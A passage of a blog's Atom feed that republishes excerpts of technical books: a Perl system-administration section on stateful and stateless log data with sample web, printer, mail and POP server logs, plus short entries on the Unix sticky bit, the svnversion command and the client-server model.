HREF="jobjects/fsearch.htm" tppabs="http://documents.dhs.net.ru/local/OREILLY/books/perl2/sysadmin/jobjects/fsearch.htm" ALT="Search this book"&gt;&lt;br /&gt;&lt;/map&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="navbar"&gt;&lt;br /&gt;&lt;table width="515" border="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td align="left" valign="top" width="172"&gt;&lt;/td&gt;&lt;td align="center" valign="top" width="171"&gt;Chapter 9: Log Files&lt;/td&gt;&lt;td align="right" valign="top" width="172"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;hr width="515" align="left"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="sect1"&gt;9.3. Stateful and Stateless Data&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;In addition to the format in which&lt;br /&gt;the log file presents its data, it is important to think about the&lt;br /&gt;contents of these files because &lt;em class="emphasis"&gt;what&lt;/em&gt; the data&lt;br /&gt;represents and &lt;em class="emphasis"&gt;how&lt;/em&gt; it is represented both&lt;br /&gt;contribute to our plan of attack when programming. With log file&lt;br /&gt;contents, often a distinction can be made between data that is&lt;br /&gt;&lt;em class="firstterm"&gt;stateful&lt;/em&gt; and data that is&lt;br /&gt;&lt;em class="firstterm"&gt;stateless&lt;/em&gt;. Let's see a couple of&lt;br /&gt;examples that will make this distinction clear.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Here's a three-line snippet from an Apache web server log. Each&lt;br /&gt;line represents a request answered by the web server:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;esnet-118.dynamic.rpi.edu - - [13/Dec/1998:00:04:20 -0500] "GET home/u1/tux/&lt;br /&gt;tuxedo05.gif&lt;br /&gt;&lt;br /&gt;HTTP/1.0" 200 18666 ppp-206-170-3-49.okld03.pacbell.net - - [13/Dec/1998:00:04:21&lt;br /&gt; -0500] "GET home/u2/news.htm &lt;br /&gt;&lt;br /&gt;HTTP/1.0" 200 6748 ts007d39.ftl-fl.concentric.net - - [13/Dec/1998:00:04:22 -0500]&lt;br /&gt; "GET home/u1/bgc.jpg HTTP/1.1" 304 -&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Here are a few lines from a printer daemon log file:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;Aug 14 12:58:46 warhol  printer: cover/door open &lt;br /&gt;Aug 14 12:58:58 warhol  printer: error cleared &lt;br /&gt;Aug 14 17:16:26 warhol  printer: offline or intervention needed &lt;br /&gt;Aug 14 17:16:43 warhol  printer: error cleared &lt;br /&gt;Aug 15 20:40:45 warhol  printer: paper out &lt;br /&gt;Aug 15 20:40:48 warhol  printer: error cleared&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;In both cases, each line of the log file is independent of every&lt;br /&gt;other line in the file. We can find patterns or aggregate lines&lt;br /&gt;together gathering statistics, but there's nothing inherent in&lt;br /&gt;the data that connects the log file entries to each other.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Now consider some slightly doctored entries from a&lt;br /&gt;&lt;tt class="command"&gt;sendmail&lt;/tt&gt; mail log:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;Dec 13 05:28:27 mailhub sendmail[26690]: FAA26690:&lt;br /&gt;from=&amp;lt;user@has.a.godcomplex.&lt;br /&gt;com&amp;gt;, size=643, class=0, pri=30643, nrcpts=1,&lt;br /&gt;msgid=&amp;lt;199812131032.CAA22824@has.a.&lt;br /&gt;godcomplex.com&amp;gt;, proto=ESMTP, relay=user@has.a.godcomplex.com [216.32.32.176]&lt;br /&gt;&lt;br /&gt;Dec 13 05:29:13 mailhub sendmail[26695]: FAA26695: from=&amp;lt;root@host.ccs.neu.edu&amp;gt;,&lt;br /&gt; size=9600, class=0, pri=39600, nrcpts=1, msgid=&amp;lt;199812131029.FAA15005@host.ccs.&lt;br /&gt;neu.edu&amp;gt;, proto=ESMTP, relay=root@host.ccs.neu.edu [129.10.116.69]&lt;br /&gt;&lt;br /&gt;Dec 13 05:29:15 mailhub sendmail[26691]: FAA26690: to=&amp;lt;user@ccs.neu.edu&amp;gt;,&lt;br /&gt; delay=00:00:02, xdelay=00:00:01, mailer=local, stat=Sent &lt;br /&gt;&lt;br /&gt;Dec 13 05:29:19 mailhub sendmail[26696]: FAA26695: to="|IFS=' '&amp;amp;&amp;amp;exec /usr/bin/&lt;br /&gt;procmail -f-||exit 75 #user", ctladdr=user (6603/104), delay=00:00:06,&lt;br /&gt;xdelay=00:&lt;br /&gt;00:06, mailer=prog, stat=Sent&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Unlike the previous examples, there is a definite connection between&lt;br /&gt;the lines in the file. Figure 9-2 makes that&lt;br /&gt;connection explicit.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="figure"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;h4 class="objtitle"&gt;Figure 9.2. Related entries in the sendmail log&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Each line has at least one partner entry that shows the source and&lt;br /&gt;destinations of each message. When a message enters the system it is&lt;br /&gt;assigned a unique "Message-ID," highlighted above, which&lt;br /&gt;identifies that message while it is in play. This Message-ID allows&lt;br /&gt;us to associate related lines in an interleaved log file, essentially&lt;br /&gt;giving a message an existence or "state" in between&lt;br /&gt;entries of a log file.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Sometimes we care about the "distance" between state&lt;br /&gt;transitions. Take, for instance, the &lt;em class="filename"&gt;wtmp&lt;/em&gt; file&lt;br /&gt;we saw earlier in this chapter. Not only are we interested in when&lt;br /&gt;someone logs in and when they log out (the two state transitions in&lt;br /&gt;the log), but in the time between these two events, i.e., how long&lt;br /&gt;they were logged in.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;The most sophisticated log files can add another twist. Here are some&lt;br /&gt;excerpts from a POP (Post Office Protocol) server's log file&lt;br /&gt;while the server is in debug mode. The names and IP addresses have&lt;br /&gt;been changed to protect the innocent:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;Jan 14 15:53:45 mailhub popper[20243]: Debugging turned on&lt;br /&gt;Jan 14 15:53:45 mailhub popper[20243]: (v2.53) Servicing request from&lt;br /&gt;"client" at 129.X.X.X&lt;br /&gt;Jan 14 15:53:45 mailhub popper[20243]: +OK QPOP (version 2.53) at mailhub starting.  &lt;br /&gt;Jan 14 15:53:45 mailhub popper[20243]: Received: "USER username"&lt;br /&gt;Jan 14 15:53:45 mailhub popper[20243]: +OK Password required for username.&lt;br /&gt;Jan 14 15:53:45 mailhub popper[20243]: Received: "pass xxxxxxxxx"&lt;br /&gt;Jan 14 15:53:45 mailhub popper[20243]: +OK username has 1 message (26627 octets).&lt;br /&gt;Jan 14 15:53:46 mailhub popper[20243]: Received: "LIST"&lt;br /&gt;Jan 14 15:53:46 mailhub popper[20243]: +OK 1 messages (26627 octets)&lt;br /&gt;Jan 14 15:53:46 mailhub popper[20243]: Received: "RETR 1"&lt;br /&gt;Jan 14 15:53:46 mailhub popper[20243]: +OK 26627 octets&lt;br /&gt;&amp;lt;message text appears here&amp;gt;&lt;br /&gt;Jan 14 15:53:56 mailhub popper[20243]: Received: "DELE 1"&lt;br /&gt;Jan 14 15:53:56 mailhub popper[20243]: Deleting message 1 at offset 0 of length 26627&lt;br /&gt;Jan 14 15:53:56 mailhub popper[20243]: +OK Message 1 has been deleted.&lt;br /&gt;Jan 14 15:53:56 mailhub popper[20243]: Received: "QUIT"&lt;br /&gt;Jan 14 15:53:56 mailhub popper[20243]: +OK Pop server at mailhub signing off.&lt;br /&gt;Jan 14 15:53:56 mailhub popper[20243]: (v2.53) Ending request from "user" at (client) 129.X.X.X&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Not only do we encounter connections ("Servicing request&lt;br /&gt;from...") and disconnections ("Ending request&lt;br /&gt;from..."), but we have information detailing what took place in&lt;br /&gt;between these state transitions.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Each of these middle events also provides potentially useful&lt;br /&gt;"distance" information. If there was a problem with our&lt;br /&gt;POP server, we might look to see how long each step in the above&lt;br /&gt;output took.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;In the case of an FTP server, you may be able to draw some&lt;br /&gt;conclusions from this data about how people interact with your site.&lt;br /&gt;On average, how long do people stay connected before they transfer&lt;br /&gt;files? Do they pause between commands for a long time? Do they always&lt;br /&gt;travel from one part of your site to another before downloading the&lt;br /&gt;same file? The interstitial data can be a rich source of&lt;br /&gt;information.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr width="515" align="left"&gt;&lt;br /&gt;&lt;div class="navbar"&gt;&lt;br /&gt;&lt;table width="515" border="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td align="left" valign="top" width="172"&gt;&lt;/td&gt;&lt;td align="center" valign="top" width="171"&gt;&lt;/td&gt;&lt;td align="right" valign="top" width="172"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td align="left" valign="top" width="172"&gt;9.2. Binary Log Files&lt;/td&gt;&lt;td align="center" valign="top" width="171"&gt;&lt;/td&gt;&lt;td align="right" valign="top" width="172"&gt;9.4. Disk Space Problems&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;hr width="515" align="left"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;font size="-1"&gt;Copyright &amp;copy; 2001 O'Reilly &amp;amp; Associates. All rights reserved.&lt;/font&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;map name="library-map"&gt; &lt;area shape="rect" coords="2,-1,79,99" href="javascript:if(confirm('http://documents.dhs.net.ru/local/OREILLY/books/perl2/index.htm  \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address.  \n\nDo you want to open it from the server?'))window.location='http://documents.dhs.net.ru/local/OREILLY/books/perl2/index.htm'" tppabs="http://documents.dhs.net.ru/local/OREILLY/books/perl2/index.htm"&gt;&lt;area shape="rect" coords="84,1,157,108" href="javascript:if(confirm('http://documents.dhs.net.ru/local/OREILLY/books/perl2/perlnut/index.htm  \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address.  \n\nDo you want to open it from the server?'))window.location='http://documents.dhs.net.ru/local/OREILLY/books/perl2/perlnut/index.htm'" tppabs="http://documents.dhs.net.ru/local/OREILLY/books/perl2/perlnut/index.htm"&gt;&lt;area shape="rect" coords="162,2,248,125" href="javascript:if(confirm('http://documents.dhs.net.ru/local/OREILLY/books/perl2/prog/index.htm  \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address.  \n\nDo you want to open it from the server?'))window.location='http://documents.dhs.net.ru/local/OREILLY/books/perl2/prog/index.htm'" tppabs="http://documents.dhs.net.ru/local/OREILLY/books/perl2/prog/index.htm"&gt;&lt;area shape="rect" coords="253,2,326,130" href="javascript:if(confirm('http://documents.dhs.net.ru/local/OREILLY/books/perl2/advprog/index.htm  \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address.  \n\nDo you want to open it from the server?'))window.location='http://documents.dhs.net.ru/local/OREILLY/books/perl2/advprog/index.htm'" tppabs="http://documents.dhs.net.ru/local/OREILLY/books/perl2/advprog/index.htm"&gt;&lt;area shape="rect" coords="332,1,407,112" href="javascript:if(confirm('http://documents.dhs.net.ru/local/OREILLY/books/perl2/cookbook/index.htm  \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address.  \n\nDo you want to open it from the server?'))window.location='http://documents.dhs.net.ru/local/OREILLY/books/perl2/cookbook/index.htm'" tppabs="http://documents.dhs.net.ru/local/OREILLY/books/perl2/cookbook/index.htm"&gt;&lt;area shape="rect" coords="414,2,523,103" href="index-1.htm" tppabs="http://documents.dhs.net.ru/local/OREILLY/books/perl2/sysadmin/index.htm"&gt;&lt;br /&gt;&lt;/map&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-5155132854271980048?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/5155132854271980048/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/stateful-and-stateless-data.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5155132854271980048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5155132854271980048'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/stateful-and-stateless-data.html' title='Stateful and Stateless Data'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-8333954890527238545</id><published>2009-11-13T07:50:00.005-08:00</published><updated>2009-11-13T07:50:04.437-08:00</updated><title type='text'>Section 4.10.&amp;nbsp; Sticky Bit</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;/div&gt;&lt;/td&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;h3 class="docSection1Title" id="454331-817"&gt;4.10. Sticky Bit&lt;/h3&gt;&lt;br /&gt;&lt;p class="docText"&gt;The &lt;tt&gt;S_ISVTX&lt;/tt&gt; bit has an interesting history. On versions of the UNIX System that predated demand paging, this bit was known as the &lt;span class="docEmphasis"&gt;sticky bit&lt;/span&gt;. If it was set for an executable program file, then the first time the program was executed, a copy of the program's text was saved in the swap area when the process terminated. (The text portion of a program is the machine instructions.) This caused the program to load into memory more quickly the next time it was executed, because the swap area was handled as a contiguous file, compared to the possibly random location of data blocks in a normal UNIX file system. The sticky bit was often set for common application programs, such as the text editor and the passes of the C compiler. Naturally, there was a limit to the number of sticky files that could be contained in the swap area before running out of swap space, but it was a useful technique. The name &lt;span class="docEmphasis"&gt;sticky&lt;/span&gt; came about because the text portion of the file stuck around in the swap area until the system was rebooted. Later versions of the UNIX System referred to this as the &lt;span class="docEmphasis"&gt;saved-text&lt;/span&gt; bit; hence, the constant &lt;tt&gt;S_ISVTX&lt;/tt&gt;. With today's newer UNIX systems, most of which have a virtual memory system and a faster file system, the need for this technique has disappeared.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;On contemporary systems, the use of the sticky bit has been extended. The Single UNIX Specification allows the sticky bit to be set for a directory. If the bit is set for a directory, a file in the directory can be removed or renamed only if the user has write permission for the directory and one of the following:&lt;/P&gt;&lt;br /&gt;&lt;ul&gt;&lt;LI&gt;&lt;p class="docList"&gt;Owns the file&lt;/P&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;Owns the directory&lt;/P&gt;&lt;/LI&gt;&lt;LI&gt;&lt;p class="docList"&gt;Is the superuser&lt;/p&gt;&lt;/LI&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="docText"&gt;The directories &lt;tt&gt;/tmp&lt;/tt&gt; and &lt;tt&gt;/var/spool/uucppublic&lt;/tt&gt; are typical candidates for the sticky bitthey are directories in which any user can typically create files. The permissions for these two directories are often read, write, and execute for everyone (user, group, and other). But users should not be able to delete or rename files owned by others.&lt;/P&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;p class="docText"&gt;The saved-text bit is not part of POSIX.1. It is an XSI extension to the basic POSIX.1 functionality defined in the Single UNIX Specification, and is supported by FreeBSD 5.2.1, Linux 2.4.22, Mac OS X 10.3, and Solaris 9.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;Solaris 9 places special meaning on the sticky bit if it is set on a regular file. In this case, if none of the execute bits is set, the operating system will not cache the contents of the file.&lt;/P&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/UL&gt;&lt;/TD&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;/div&gt;&lt;/td&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-8333954890527238545?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/8333954890527238545/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-410-sticky-bit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/8333954890527238545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/8333954890527238545'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-410-sticky-bit.html' title='Section 4.10.&amp;amp;nbsp; Sticky Bit'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-1108174850577967078</id><published>2009-11-13T07:50:00.003-08:00</published><updated>2009-11-13T07:50:02.893-08:00</updated><title type='text'>Section 15.4.&amp;nbsp; svnversion</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;H3 class="docSection1Title"&gt;15.4. &lt;tt&gt;svnversion&lt;/tt&gt;&lt;/H3&gt;&lt;br /&gt;&lt;p class="docText"&gt;Outputs a version number for a file or directory in a working copy. If the working copy has been modified, the version number has a trailing &lt;tt&gt;M&lt;/tt&gt;. If it has been switched, there is a trailing &lt;tt&gt;S&lt;/tt&gt;. If the working copy contains multiple revisions, the revision number is given as a range, in the form &lt;tt&gt;N:M&lt;/tt&gt;, where &lt;tt&gt;N&lt;/tt&gt; is the lowest revision and &lt;tt&gt;M&lt;/tt&gt; is the highest.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;Switched directories are detected automatically for all files and directories except the one specifically given on the command line as the base path. To determine whether the base path has been switched, you have to provide a URL on the command line that gives the unswitched URL.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;Basic Usage&lt;/h4&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ svnversion WC_PATH [URL]&lt;br /&gt;&lt;/pre&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;Options&lt;/H4&gt;&lt;br /&gt;&lt;UL&gt;&lt;li&gt;&lt;p class="docList"&gt;&lt;tt&gt;-n&lt;/tt&gt;&lt;/P&gt;&lt;p class="docList"&gt;Tell &lt;tt&gt;svnversion&lt;/tt&gt; not to output a trailing newline at the end of the output.&lt;/P&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;&lt;tt&gt;-c&lt;/tt&gt;&lt;/p&gt;&lt;p class="docList"&gt;Tell &lt;tt&gt;svnversion&lt;/tt&gt; to output the last changed revision numbers, instead of the revision numbers of the current revision.&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;&lt;tt&gt;--version&lt;/tt&gt;&lt;/p&gt;&lt;p class="docList"&gt;Outputs version information for the &lt;tt&gt;svnversion&lt;/tt&gt; program.&lt;/P&gt;&lt;/LI&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-1108174850577967078?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/1108174850577967078/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-154-svnversion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/1108174850577967078'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/1108174850577967078'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-154-svnversion.html' title='Section 15.4.&amp;amp;nbsp; svnversion'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-697191931474454578</id><published>2009-11-13T07:50:00.001-08:00</published><updated>2009-11-13T07:50:00.987-08:00</updated><title type='text'>18.1 The Client-Server Model</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;H3 class="docSection1Title"&gt;18.1 The Client-Server Model&lt;/H3&gt;&lt;br /&gt;&lt;P class="docText"&gt;Many network applications and services such as web browsing, mail, file transfer (&lt;TT&gt;ftp&lt;/TT&gt;), authentication (Kerberos), remote login (&lt;TT&gt;telnet&lt;/TT&gt;) and access to remote file systems (NFS) use the client-server paradigm. In each of these applications, a client sends a request for service to a server. A service is an action, such as changing the status of a remote file, that the server performs on behalf of the client. Often the service includes a response or returns information, for example by retrieving a remote file or web page.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;The client-server model appears at many levels in computer systems. For example, an object that calls a method of another object in an object-oriented program is said to be a &lt;span class="docEmphasis"&gt;client of the object&lt;/span&gt;. At the system level, daemons that manage resources such as printers are servers for system user clients. On the Internet, browsers are client processes that request resources from web servers. The key elements of the client-server model are as follows.&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;&lt;P class="docList"&gt;The client, not the service provider, initiates the action.&lt;/P&gt;&lt;/LI&gt;&lt;LI&gt;&lt;P class="docList"&gt;The server waits passively for requests from clients.&lt;/P&gt;&lt;/LI&gt;&lt;LI&gt;&lt;P class="docList"&gt;The client and server are connected by a communication channel that they access through communication endpoints.&lt;/P&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;br /&gt;&lt;P class="docText"&gt;Servers should robustly handle multiple simultaneous client requests in the face of unexpected client behavior. This chapter especially emphasizes the importance of catching errors and taking appropriate action during client-server interactions. You wouldn't want a web server to exit when a user mistypes a URL in the browser. Servers are long-running and must release &lt;span class="docEmphasis"&gt;all&lt;/span&gt; the resources allocated for individual client requests.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Although most current computer system services are based on the client-server model, other models such as event notification [4, 36] or peer-to-peer computing [90] may become more important in the future.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-697191931474454578?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/697191931474454578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/181-client-server-model.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/697191931474454578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/697191931474454578'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/181-client-server-model.html' title='18.1 The Client-Server 